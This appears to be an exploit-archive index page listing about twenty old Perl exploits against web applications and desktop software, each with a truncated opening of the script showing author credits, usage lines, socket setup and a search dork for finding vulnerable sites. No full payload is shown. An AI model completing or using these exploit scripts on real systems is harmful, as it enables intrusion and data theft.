CoreNews <= 2.0.1 (userid) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=24 Usage: corenews.pl host path use IO::Socket; if@ARGV != 2 usage; else exploit; sub...

CoreNews 2.0.1 - userid SQL Injection

CoreNews 2.0.1 - userid SQL Injection !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=24 Usage: corenews.pl use IO::Socket; if@ARGV != 2 usage; else exploit; sub header...

FlexBB 0.5.5 - '/inc/start.php?_COOKIE' SQL Bypass

!/usr/bin/perl -w FlexBB : DONT FORGET TO DO YOUR CONFIG !! DONT FORGET TO DO YOUR CONFIG !! DONT FORGET TO DO YOUR CONFIG !! use IO::Socket; -- Start -- $host = "127.0.0.1"; $path = "/flexbb/"; -- END -- $host :- The Host Name Without http:// | exm. www.vic.com $path :- FlexBB Dir On Server | ex...

PAJAX <= 0.5.1 Remote Code Execution Exploit

No description provided by source. !/usr/bin/perl use IO::Socket; print "PAJAX Remote Code Injection - code by: Stoney - exploit found by: RedTeam\n"; if $ARGV0 && $ARGV1 $host = $ARGV0; $path = $ARGV1; $sock = IO::Socket::INET-new Proto = "tcp", PeerAddr = "$host", PeerPort = "80" || die...

PAJAX 0.5.1 - Remote Code Execution

!/usr/bin/perl use IO::Socket; print "PAJAX Remote Code Injection - code by: Stoney - exploit found by: RedTeam\n"; if $ARGV0 && $ARGV1 $host = $ARGV0; $path = $ARGV1; $sock = IO::Socket::INET-new Proto = "tcp", PeerAddr = "$host", PeerPort = "80" || die "connecterror\n"; while 1 print ''.$host.'...

quizz <= 1.01 (quizz.pl) Remote Command Execution Exploit

Exploit for cgi platform in category web applications ========================================================= quizz "cmd"\n"; exit; if @ARGV 3 Usage; $host = @ARGV0; $path = @ARGV1; $command = @ARGV2; print "\n\n !!! PRIVATE PRIVATE PRIVATE !!! \n\n"; print "quizz.pl 0day Remote Command...

Censtore 7.3.x - 'censtore.cgi' Remote Command Execution

!/usr/bin/perl Censtore.cgi exploit by FOXMULDER [email protected] Vulnerability foud by FOXMULDER. This is the first exploit i release and the bug is not public so enjoy. Ask http://censtore.com/ what they think about it !!! use IO::Socket; use LWP::Simple; sub Usage print STDERR "\nFOXMULDER DID...

Sphider 1.3 - configset.php Remote File Inclusion

Sphider 1.3 - configset.php Remote File Inclusion !/usr/bin/perl use IO::Socket; print "\r\nSphider works with registerglobals = On & allowurlfopen = On\r\n"; print "by rgod rgodautisticiorg\r\n"; print "site: http://retrogod.altervista.org\r\n"; print "\r\ndork: "powered by sphider"\r\n"; sub...

Sphider 1.3 - 'configset.php' Remote File Inclusion

!/usr/bin/perl use IO::Socket; print "\r\nSphider works with registerglobals = On & allowurlfopen = On\r\n"; print "by rgod rgodautisticiorg\r\n"; print "site: http://retrogod.altervista.org\r\n"; print "\r\ndork: "powered by sphider"\r\n"; sub main::urlEncode my $string = @; $string = s/\W/"%"...

Sphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit

Exploit for unknown platform in category web applications ================================================================= Sphider works with registerglobals = On & allowurlfopen = On\r\n"; print "by rgod rgodautisticiorg\r\n"; print "site: http://retrogod.altervista.org\r\n"; print "\r\ndork:...

Crafty Syntax Image Gallery &lt;= 3.1g Remote Code Execution Exploit

No description provided by source. !/usr/bin/perl This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or at your option any later version. This...

WD-TMPLH.txt

!/usr/bin/perl -w PHPLiveHelper 1.8 remote command execution Xploit Discovered & Coded By rUnViRuS World Defacers TeaM WD-members: rUnViRuS - Papipsycho - r3v3ng4ns Details ======= Note : PHPLiveHelper 1.8 is vulnerable too, but its just that you cannot include file remotly...

Aztek Forum 4.0 - myadmin.php User Privilege Escalation

Aztek Forum 4.0 - myadmin.php User Privilege Escalation !/usr/bin/perl use IO::Socket; Aztek Forum 4.00 Change User Rights Remote Exploit only if the magicquote are : OFF aztekgar.pl 127.0.0.1 /aztek/ Admin Attacker +------------------------------------------------------------+ - Aztek 4.0 Give...

eSignal 7.6 STREAMQUOTE Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ====================================================== eSignal 7.6 STREAMQUOTE Remote Buffer Overflow Exploit ====================================================== !/usr/bin/perl eSignal v7.6 remote exploit c VizibleSoft ==...

Aztek Forum 4.00 (myadmin.php) User Privilege Escalation Exploit

Exploit for unknown platform in category web applications ================================================================ Aztek Forum 4.00 myadmin.php User Privilege Escalation Exploit ================================================================ !/usr/bin/perl use IO::Socket; Aztek Forum 4.0...

Aztek Forum 4.0 - 'myadmin.php' User Privilege Escalation

!/usr/bin/perl use IO::Socket; Aztek Forum 4.00 Change User Rights Remote Exploit only if the magicquote are : OFF aztekgar.pl 127.0.0.1 /aztek/ Admin Attacker +------------------------------------------------------------+ - Aztek 4.0 Give Admin rights to a normal user - - - - coded by Sparah -...

TFT Gallery <= 0.10 [Password Disclosure] Remote Exploit

Exploit for unknown platform in category web applications ======================================================== TFT Gallery = 0.10 Password Disclosure Remote Exploit ======================================================== !/usr/bin/perl Copyright C undefined1 This program is free software; yo...

ASPPortal <= 3.1.1 (downloadid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================ ASPPortal use IO::Socket; use Math::BigInt; if@ARGV != 3 usage; else exploit; sub header print "\n- NukedX Security Advisory Nr.2006-21\r\n"; print "- ASPPortal \r\n"; print "- -...

ShoutLIVE 1.1.0 - 'savesettings.php' Remote Code Execution

!/usr/bin/perl ShoutLIVE | +---------------------------------------------+ | Coded by DarkFig | +------------------+ ";exit sub headers print "\n +----------------------------------------------+ | ShoutLIVE "$host", PeerPort = "80", Proto = "tcp" or die "$ncon"; print "$ycon"."$sdat"; print $sock...

Apple Mac OS X 10.4.5 Mail.app (Real Name) Buffer Overflow Exploit

Exploit for macOS platform in category remote exploits ================================================================== Apple Mac OS X 10.4.5 Mail.app Real Name Buffer Overflow Exploit ================================================================== !/usr/bin/perl Code by Kevin Finisterre...